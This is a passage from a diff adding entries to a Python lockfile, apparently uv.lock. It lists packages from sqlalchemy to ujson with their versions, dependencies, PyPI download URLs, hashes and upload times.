"2025-10-10T15:34:21.193Z" }, + { url = "https://files.pythonhosted.org/packages/95/cb/7cf4078b46752dca917d18cf31910d4eff6076e5b513c2d66100c4293d83/sqlalchemy-2.0.44-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:70e03833faca7166e6a9927fbee7c27e6ecde436774cd0b24bbcc96353bce06b", size = 3261426, upload-time = "2025-10-10T15:47:07.196Z" }, + { url = "https://files.pythonhosted.org/packages/9c/5e/6a29fa884d9fb7ddadf6b69490a9d45fded3b38541713010dad16b77d015/sqlalchemy-2.0.44-py3-none-any.whl", hash = "sha256:19de7ca1246fbef9f9d1bff8f1ab25641569df226364a0e40457dc5457c54b05", size = 1928718, upload-time = "2025-10-10T15:29:45.32Z" }, +] + +[[package]] +name = "sqlparse" +version = "0.5.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/18/67/701f86b28d63b2086de47c942eccf8ca2208b3be69715a1119a4e384415a/sqlparse-0.5.4.tar.gz", hash = "sha256:4396a7d3cf1cd679c1be976cf3dc6e0a51d0111e87787e7a8d780e7d5a998f9e", size = 120112, upload-time = "2025-11-28T07:10:18.377Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/25/70/001ee337f7aa888fb2e3f5fd7592a6afc5283adb1ed44ce8df5764070f22/sqlparse-0.5.4-py3-none-any.whl", hash = "sha256:99a9f0314977b76d776a0fcb8554de91b9bb8a18560631d6bc48721d07023dcb", size = 45933, upload-time = "2025-11-28T07:10:19.73Z" }, +] + +[[package]] +name = "sse-starlette" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/db/3c/fa6517610dc641262b77cc7bf994ecd17465812c1b0585fe33e11be758ab/sse_starlette-3.0.3.tar.gz", hash = "sha256:88cfb08747e16200ea990c8ca876b03910a23b547ab3bd764c0d8eb81019b971", size = 21943, upload-time = "2025-10-30T18:44:20.117Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/23/a0/984525d19ca5c8a6c33911a0c164b11490dd0f90ff7fd689f704f84e9a11/sse_starlette-3.0.3-py3-none-any.whl", hash = "sha256:af5bf5a6f3933df1d9c7f8539633dc8444ca6a97ab2e2a7cd3b6e431ac03a431", size = 11765, upload-time = "2025-10-30T18:44:18.834Z" }, +] + +[[package]] +name = "stack-data" +version = "0.6.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asttokens", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "executing", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pure-eval", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/28/e3/55dcc2cfbc3ca9c29519eb6884dd1415ecb53b0e934862d3559ddcb7e20b/stack_data-0.6.3.tar.gz", hash = "sha256:836a778de4fec4dcd1dcd89ed8abff8a221f58308462e1c4aa2a3cf30148f0b9", size = 44707, upload-time = "2023-09-30T13:58:05.479Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f1/7b/ce1eafaf1a76852e2ec9b22edecf1daa58175c090266e9f6c64afcd81d91/stack_data-0.6.3-py3-none-any.whl", hash = "sha256:d5558e0c25a4cb0853cddad3d77da9891a08cb85dd9f9f91b9f8cd66e511e695", size = 24521, upload-time = "2023-09-30T13:58:03.53Z" }, +] + +[[package]] +name = "starlette" +version = "0.50.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ba/b8/73a0e6a6e079a9d9cfa64113d771e421640b6f679a52eeb9b32f72d871a1/starlette-0.50.0.tar.gz", hash = "sha256:a2a17b22203254bcbc2e1f926d2d55f3f9497f769416b3190768befe598fa3ca", size = 2646985, upload-time = "2025-11-01T15:25:27.516Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d9/52/1064f510b141bd54025f9b55105e26d1fa970b9be67ad766380a3c9b74b0/starlette-0.50.0-py3-none-any.whl", hash = "sha256:9e5391843ec9b6e472eed1365a78c8098cfceb7a74bfd4d6b1c0c0095efb3bca", size = 74033, upload-time = "2025-11-01T15:25:25.461Z" }, +] + +[[package]] +name = "stevedore" +version = "5.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/96/5b/496f8abebd10c3301129abba7ddafd46c71d799a70c44ab080323987c4c9/stevedore-5.6.0.tar.gz", hash = "sha256:f22d15c6ead40c5bbfa9ca54aa7e7b4a07d59b36ae03ed12ced1a54cf0b51945", size = 516074, upload-time = "2025-11-20T10:06:07.264Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/40/8561ce06dc46fd17242c7724ab25b257a2ac1b35f4ebf551b40ce6105cfa/stevedore-5.6.0-py3-none-any.whl", hash = "sha256:4a36dccefd7aeea0c70135526cecb7766c4c84c473b1af68db23d541b6dc1820", size = 54428, upload-time = "2025-11-20T10:06:05.946Z" }, +] + +[[package]] +name = "tenacity" +version = "9.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0a/d4/2b0cd0fe285e14b36db076e78c93766ff1d529d70408bd1d2a5a84f1d929/tenacity-9.1.2.tar.gz", hash = "sha256:1169d376c297e7de388d18b4481760d478b0e99a777cad3a9c86e556f4b697cb", size = 48036, upload-time = "2025-04-02T08:25:09.966Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e5/30/643397144bfbfec6f6ef821f36f33e57d35946c44a2352d3c9f0ae847619/tenacity-9.1.2-py3-none-any.whl", hash = "sha256:f77bf36710d8b73a50b2dd155c97b870017ad21afe6ab300326b0371b3b05138", size = 28248, upload-time = "2025-04-02T08:25:07.678Z" }, +] + +[[package]] +name = "tiktoken" +version = "0.12.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "regex", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7d/ab/4d017d0f76ec3171d469d80fc03dfbb4e48a4bcaddaa831b31d526f05edc/tiktoken-0.12.0.tar.gz", hash = "sha256:b18ba7ee2b093863978fcb14f74b3707cdc8d4d4d3836853ce7ec60772139931", size = 37806, upload-time = "2025-10-06T20:22:45.419Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/46/21ea696b21f1d6d1efec8639c204bdf20fde8bafb351e1355c72c5d7de52/tiktoken-0.12.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:6e227c7f96925003487c33b1b32265fad2fbcec2b7cf4817afb76d416f40f6bb", size = 1051565, upload-time = "2025-10-06T20:21:44.566Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d9/35c5d2d9e22bb2a5f74ba48266fb56c63d76ae6f66e02feb628671c0283e/tiktoken-0.12.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c06cf0fcc24c2cb2adb5e185c7082a82cba29c17575e828518c2f11a01f445aa", size = 995284, upload-time = "2025-10-06T20:21:45.622Z" }, + { url = "https://files.pythonhosted.org/packages/01/84/961106c37b8e49b9fdcf33fe007bb3a8fdcc380c528b20cc7fbba80578b8/tiktoken-0.12.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:f18f249b041851954217e9fd8e5c00b024ab2315ffda5ed77665a05fa91f42dc", size = 1129201, upload-time = "2025-10-06T20:21:47.074Z" }, + { url = "https://files.pythonhosted.org/packages/6a/d0/3d9275198e067f8b65076a68894bb52fd253875f3644f0a321a720277b8a/tiktoken-0.12.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:47a5bc270b8c3db00bb46ece01ef34ad050e364b51d406b6f9730b64ac28eded", size = 1152444, upload-time = "2025-10-06T20:21:48.139Z" }, + { url = "https://files.pythonhosted.org/packages/78/db/a58e09687c1698a7c592e1038e01c206569b86a0377828d51635561f8ebf/tiktoken-0.12.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:508fa71810c0efdcd1b898fda574889ee62852989f7c1667414736bcb2b9a4bd", size = 1195080, upload-time = "2025-10-06T20:21:49.246Z" }, + { url = "https://files.pythonhosted.org/packages/9e/1b/a9e4d2bf91d515c0f74afc526fd773a812232dd6cda33ebea7f531202325/tiktoken-0.12.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a1af81a6c44f008cba48494089dd98cccb8b313f55e961a52f5b222d1e507967", size = 1255240, upload-time = "2025-10-06T20:21:50.274Z" }, +] + +[[package]] +name = "tomli" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/52/ed/3f73f72945444548f33eba9a87fc7a6e969915e7b1acc8260b30e1f76a2f/tomli-2.3.0.tar.gz", hash = "sha256:64be704a875d2a59753d80ee8a533c3fe183e3f06807ff7dc2232938ccb01549", size = 17392, upload-time = "2025-10-08T22:01:47.119Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/2e/299f62b401438d5fe1624119c723f5d877acc86a4c2492da405626665f12/tomli-2.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:88bd15eb972f3664f5ed4b57c1634a97153b4bac4479dcb6a495f41921eb7f45", size = 153236, upload-time = "2025-10-08T22:01:00.137Z" }, + { url = "https://files.pythonhosted.org/packages/86/7f/d8fffe6a7aefdb61bced88fcb5e280cfd71e08939da5894161bd71bea022/tomli-2.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:883b1c0d6398a6a9d29b508c331fa56adbcdff647f6ace4dfca0f50e90dfd0ba", size = 148084, upload-time = "2025-10-08T22:01:01.63Z" }, + { url = "https://files.pythonhosted.org/packages/47/5c/24935fb6a2ee63e86d80e4d3b58b222dafaf438c416752c8b58537c8b89a/tomli-2.3.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d1381caf13ab9f300e30dd8feadb3de072aeb86f1d34a8569453ff32a7dea4bf", size = 234832, upload-time = "2025-10-08T22:01:02.543Z" }, + { url = "https://files.pythonhosted.org/packages/89/da/75dfd804fc11e6612846758a23f13271b76d577e299592b4371a4ca4cd09/tomli-2.3.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a0e285d2649b78c0d9027570d4da3425bdb49830a6156121360b3f8511ea3441", size = 242052, upload-time = "2025-10-08T22:01:03.836Z" }, + { url = "https://files.pythonhosted.org/packages/70/8c/f48ac899f7b3ca7eb13af73bacbc93aec37f9c954df3c08ad96991c8c373/tomli-2.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0a154a9ae14bfcf5d8917a59b51ffd5a3ac1fd149b71b47a3a104ca4edcfa845", size = 239555, upload-time = "2025-10-08T22:01:04.834Z" }, + { url = "https://files.pythonhosted.org/packages/ba/28/72f8afd73f1d0e7829bfc093f4cb98ce0a40ffc0cc997009ee1ed94ba705/tomli-2.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:74bf8464ff93e413514fefd2be591c3b0b23231a77f901db1eb30d6f712fc42c", size = 245128, upload-time = "2025-10-08T22:01:05.84Z" }, + { url = "https://files.pythonhosted.org/packages/77/b8/0135fadc89e73be292b473cb820b4f5a08197779206b33191e801feeae40/tomli-2.3.0-py3-none-any.whl", hash = "sha256:e95b1af3c5b07d9e643909b5abbec77cd9f1217e6d0bca72b0234736b9fb1f1b", size = 14408, upload-time = "2025-10-08T22:01:46.04Z" }, +] + +[[package]] +name = "tornado" +version = "6.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/09/ce/1eb500eae19f4648281bb2186927bb062d2438c2e5093d1360391afd2f90/tornado-6.5.2.tar.gz", hash = "sha256:ab53c8f9a0fa351e2c0741284e06c7a45da86afb544133201c5cc8578eb076a0", size = 510821, upload-time = "2025-08-08T18:27:00.78Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f6/48/6a7529df2c9cc12efd2e8f5dd219516184d703b34c06786809670df5b3bd/tornado-6.5.2-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:2436822940d37cde62771cff8774f4f00b3c8024fe482e16ca8387b8a2724db6", size = 442563, upload-time = "2025-08-08T18:26:42.945Z" }, + { url = "https://files.pythonhosted.org/packages/f2/b5/9b575a0ed3e50b00c40b08cbce82eb618229091d09f6d14bce80fc01cb0b/tornado-6.5.2-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:583a52c7aa94ee046854ba81d9ebb6c81ec0fd30386d96f7640c96dad45a03ef", size = 440729, upload-time = "2025-08-08T18:26:44.473Z" }, + { url = "https://files.pythonhosted.org/packages/1b/4e/619174f52b120efcf23633c817fd3fed867c30bff785e2cd5a53a70e483c/tornado-6.5.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b0fe179f28d597deab2842b86ed4060deec7388f1fd9c1b4a41adf8af058907e", size = 444295, upload-time = "2025-08-08T18:26:46.021Z" }, + { url = "https://files.pythonhosted.org/packages/95/fa/87b41709552bbd393c85dd18e4e3499dcd8983f66e7972926db8d96aa065/tornado-6.5.2-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b186e85d1e3536d69583d2298423744740986018e393d0321df7340e71898882", size = 443644, upload-time = "2025-08-08T18:26:47.625Z" }, + { url = "https://files.pythonhosted.org/packages/f9/41/fb15f06e33d7430ca89420283a8762a4e6b8025b800ea51796ab5e6d9559/tornado-6.5.2-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e792706668c87709709c18b353da1f7662317b563ff69f00bab83595940c7108", size = 443878, upload-time = "2025-08-08T18:26:50.599Z" }, + { url = "https://files.pythonhosted.org/packages/11/92/fe6d57da897776ad2e01e279170ea8ae726755b045fe5ac73b75357a5a3f/tornado-6.5.2-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:06ceb1300fd70cb20e43b1ad8aaee0266e69e7ced38fa910ad2e03285009ce7c", size = 444549, upload-time = "2025-08-08T18:26:51.864Z" }, + { url = "https://files.pythonhosted.org/packages/9b/02/c8f4f6c9204526daf3d760f4aa555a7a33ad0e60843eac025ccfd6ff4a93/tornado-6.5.2-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:74db443e0f5251be86cbf37929f84d8c20c27a355dd452a5cfa2aada0d001ec4", size = 443973, upload-time = "2025-08-08T18:26:53.625Z" }, + { url = "https://files.pythonhosted.org/packages/ae/2d/f5f5707b655ce2317190183868cd0f6822a1121b4baeae509ceb9590d0bd/tornado-6.5.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b5e735ab2889d7ed33b32a459cac490eda71a1ba6857b0118de476ab6c366c04", size = 443954, upload-time = "2025-08-08T18:26:55.072Z" }, +] + +[[package]] +name = "tqdm" +version = "4.66.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5a/c0/b7599d6e13fe0844b0cda01b9aaef9a0e87dbb10b06e4ee255d3fa1c79a2/tqdm-4.66.4.tar.gz", hash = "sha256:e4d936c9de8727928f3be6079590e97d9abfe8d39a590be678eb5919ffc186bb", size = 169392, upload-time = "2024-05-02T22:42:13.282Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/eb/fdb7eb9e48b7b02554e1664afd3bd3f117f6b6d6c5881438a0b055554f9b/tqdm-4.66.4-py3-none-any.whl", hash = "sha256:b75ca56b413b030bc3f00af51fd2c1a1a5eac6a0c1cca83cbb37a5c52abce644", size = 78275, upload-time = "2024-05-02T22:42:09.553Z" }, +] + +[[package]] +name = "traitlets" +version = "5.14.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/eb/79/72064e6a701c2183016abbbfedaba506d81e30e232a68c9f0d6f6fcd1574/traitlets-5.14.3.tar.gz", hash = "sha256:9ed0579d3502c94b4b3732ac120375cda96f923114522847de4b3bb98b96b6b7", size = 161621, upload-time = "2024-04-19T11:11:49.746Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/00/c0/8f5d070730d7836adc9c9b6408dec68c6ced86b304a9b26a14df072a6e8c/traitlets-5.14.3-py3-none-any.whl", hash = "sha256:b74e89e397b1ed28cc831db7aea759ba6640cb3de13090ca145426688ff1ac4f", size = 85359, upload-time = "2024-04-19T11:11:46.763Z" }, +] + +[[package]] +name = "twisted" +version = "24.11.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "automat", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "constantly", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "hyperlink", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "incremental", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "zope-interface", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/77/1c/e07af0df31229250ab58a943077e4adbd5e227d9f2ac826920416b3e5fa2/twisted-24.11.0.tar.gz", hash = "sha256:695d0556d5ec579dcc464d2856b634880ed1319f45b10d19043f2b57eb0115b5", size = 3526722, upload-time = "2024-12-02T09:53:23.767Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/70/53/a50654eb9c63da0df2b5dca8ec27656a88b7edd798de5ffad55353203874/twisted-24.11.0-py3-none-any.whl", hash = "sha256:fe403076c71f04d5d2d789a755b687c5637ec3bcd3b2b8252d76f2ba65f54261", size = 3188667, upload-time = "2024-12-02T09:53:21.131Z" }, +] + +[package.optional-dependencies] +tls = [ + { name = "idna", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyopenssl", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "service-identity", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] + +[[package]] +name = "txaio" +version = "25.9.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2b/20/2e7ccea9ab2dd824d0bd421d9364424afde3bb33863afb80cd9180335019/txaio-25.9.2.tar.gz", hash = "sha256:e42004a077c02eb5819ff004a4989e49db113836708430d59cb13d31bd309099", size = 50008, upload-time = "2025-09-25T22:21:07.958Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/2c/e276b80f73fc0411cefa1c1eeae6bc17955197a9c3e2b41b41f957322549/txaio-25.9.2-py3-none-any.whl", hash = "sha256:a23ce6e627d130e9b795cbdd46c9eaf8abd35e42d2401bb3fea63d38beda0991", size = 31293, upload-time = "2025-09-25T22:21:06.394Z" }, +] + +[[package]] +name = "types-pytz" +version = "2025.2.0.20251108" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/40/ff/c047ddc68c803b46470a357454ef76f4acd8c1088f5cc4891cdd909bfcf6/types_pytz-2025.2.0.20251108.tar.gz", hash = "sha256:fca87917836ae843f07129567b74c1929f1870610681b4c92cb86a3df5817bdb", size = 10961, upload-time = "2025-11-08T02:55:57.001Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/c1/56ef16bf5dcd255155cc736d276efa6ae0a5c26fd685e28f0412a4013c01/types_pytz-2025.2.0.20251108-py3-none-any.whl", hash = "sha256:0f1c9792cab4eb0e46c52f8845c8f77cf1e313cb3d68bf826aa867fe4717d91c", size = 10116, upload-time = "2025-11-08T02:55:56.194Z" }, +] + +[[package]] +name = "types-pyyaml" +version = "6.0.12.20250915" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/69/3c51b36d04da19b92f9e815be12753125bd8bc247ba0470a982e6979e71c/types_pyyaml-6.0.12.20250915.tar.gz", hash = "sha256:0f8b54a528c303f0e6f7165687dd33fafa81c807fcac23f632b63aa624ced1d3", size = 17522, upload-time = "2025-09-15T03:01:00.728Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bd/e0/1eed384f02555dde685fff1a1ac805c1c7dcb6dd019c916fe659b1c1f9ec/types_pyyaml-6.0.12.20250915-py3-none-any.whl", hash = "sha256:e7d4d9e064e89a3b3cae120b4990cd370874d2bf12fa5f46c97018dd5d3c9ab6", size = 20338, upload-time = "2025-09-15T03:00:59.218Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspect" +version = "0.9.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mypy-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/dc/74/1789779d91f1961fa9438e9a8710cdae6bd138c80d7303996933d117264a/typing_inspect-0.9.0.tar.gz", hash = "sha256:b23fc42ff6f6ef6954e4852c1fb512cdd18dbea03134f91f856a95ccc9461f78", size = 13825, upload-time = "2023-05-24T20:25:47.612Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/65/f3/107a22063bf27bdccf2024833d3445f4eea42b2e598abfbd46f6a63b6cb0/typing_inspect-0.9.0-py3-none-any.whl", hash = "sha256:9ee6fc59062311ef8547596ab6b955e1b8aa46242d854bfc78f4f6b0eff35f9f", size = 8827, upload-time = "2023-05-24T20:25:45.287Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "tzdata" +version = "2025.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/95/32/1a225d6164441be760d75c2c42e2780dc0873fe382da3e98a2e1e48361e5/tzdata-2025.2.tar.gz", hash = "sha256:b60a638fcc0daffadf82fe0f57e53d06bdec2f36c4df66280ae79bce6bd6f2b9", size = 196380, upload-time = "2025-03-23T13:54:43.652Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5c/23/c7abc0ca0a1526a0774eca151daeb8de62ec457e77262b66b359c3c7679e/tzdata-2025.2-py2.py3-none-any.whl", hash = "sha256:1a403fada01ff9221ca8044d701868fa132215d84beb92242d9acd2147f667a8", size = 347839, upload-time = "2025-03-23T13:54:41.845Z" }, +] + +[[package]] +name = "u-msgpack-python" +version = "2.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/36/9d/a40411a475e7d4838994b7f6bcc6bfca9acc5b119ce3a7503608c4428b49/u-msgpack-python-2.8.0.tar.gz", hash = "sha256:b801a83d6ed75e6df41e44518b4f2a9c221dc2da4bcd5380e3a0feda520bc61a", size = 18167, upload-time = "2023-05-18T09:28:12.187Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b1/5e/512aeb40fd819f4660d00f96f5c7371ee36fc8c6b605128c5ee59e0b28c6/u_msgpack_python-2.8.0-py2.py3-none-any.whl", hash = "sha256:1d853d33e78b72c4228a2025b4db28cda81214076e5b0422ed0ae1b1b2bb586a", size = 10590, upload-time = "2023-05-18T09:28:10.323Z" }, +] + +[[package]] +name = "udspy" +version = "0.1.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jiter", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "openai", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "regex", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tenacity", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d4/d8/0ab2a0258f4932f40004c759f79336100a590c1aa8296c75d797d47836e5/udspy-0.1.8.tar.gz", hash = "sha256:8da68fcbd118850eeff3750942c053006bafea335bf74f411055ccf27d800b3b", size = 270081, upload-time = "2025-11-28T15:20:55.19Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a7/ec/10076e9cb53685ffb01d2229df6372d4dbca3d4a3a0a93a03ad5126c40b2/udspy-0.1.8-py3-none-any.whl", hash = "sha256:3a66427b60f4cd6360ff95db76fd34a8fa9201fde9244b5a3db6b3fb2e424042", size = 60418, upload-time = "2025-11-28T15:20:53.849Z" }, +] + +[[package]] +name = "ujson" +version = "5.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/d9/3f17e3c5773fb4941c68d9a37a47b1a79c9649d6c56aefbed87cc409d18a/ujson-5.11.0.tar.gz", hash = "sha256:e204ae6f909f099ba6b6b942131cee359ddda2b6e4ea39c12eb8b991fe2010e0", size = 7156583, upload-time = "2025-08-20T11:57:02.452Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/ea/80346b826349d60ca4d612a47cdf3533694e49b45e9d1c07071bb867a184/ujson-5.11.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d7c46cb0fe5e7056b9acb748a4c35aa1b428025853032540bb7e41f46767321f", size = 55248, upload-time = "2025-08-20T11:55:19.033Z" }, + { url = "https://files.pythonhosted.org/packages/57/df/b53e747562c89515e18156513cc7c8ced2e5e3fd6c654acaa8752ffd7cd9/ujson-5.11.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d8951bb7a505ab2a700e26f691bdfacf395bc7e3111e3416d325b513eea03a58", size = 53156, upload-time = "2025-08-20T11:55:20.174Z" }, + { url = "https://files.pythonhosted.org/packages/41/b8/ab67ec8c01b8a3721fd13e5cb9d85ab2a6066a3a5e9148d661a6870d6293/ujson-5.11.0-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:952c0be400229940248c0f5356514123d428cba1946af6fa2bbd7503395fef26", size = 57657, upload-time = "2025-08-20T11:55:21.296Z" }, + { url = "https://files.pythonhosted.org/packages/7b/c7/fb84f27cd80a2c7e2d3c6012367aecade0da936790429801803fa8d4bffc/ujson-5.11.0-cp311-cp311-manylinux_2_24_i686.manylinux_2_28_i686.whl", hash = "sha256:94fcae844f1e302f6f8095c5d1c45a2f0bfb928cccf9f1b99e3ace634b980a2a", size = 59779, upload-time = "2025-08-20T11:55:22.772Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/48706f7c1e917ecb97ddcfb7b1d756040b86ed38290e28579d63bd3fcc48/ujson-5.11.0-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7e0ec1646db172beb8d3df4c32a9d78015e671d2000af548252769e33079d9a6", size = 57284, upload-time = "2025-08-20T11:55:24.01Z" }, + { url = "https://files.pythonhosted.org/packages/ec/ce/48877c6eb4afddfd6bd1db6be34456538c07ca2d6ed233d3f6c6efc2efe8/ujson-5.11.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:da473b23e3a54448b008d33f742bcd6d5fb2a897e42d1fc6e7bf306ea5d18b1b", size = 1036395, upload-time = "2025-08-20T11:55:25.725Z" }, + { url = "https://files.pythonhosted.org/packages/8b/7a/2c20dc97ad70cd7c31ad0596ba8e2cf8794d77191ba4d1e0bded69865477/ujson-5.11.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:aa6b3d4f1c0d3f82930f4cbd7fe46d905a4a9205a7c13279789c1263faf06dba", size = 1195731, upload-time = "2025-08-20T11:55:27.915Z" }, + { url = "https://files.pythonhosted.org/packages/15/f5/ca454f2f6a2c840394b6f162fff2801450803f4ff56c7af8ce37640b8a2a/ujson-5.11.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = 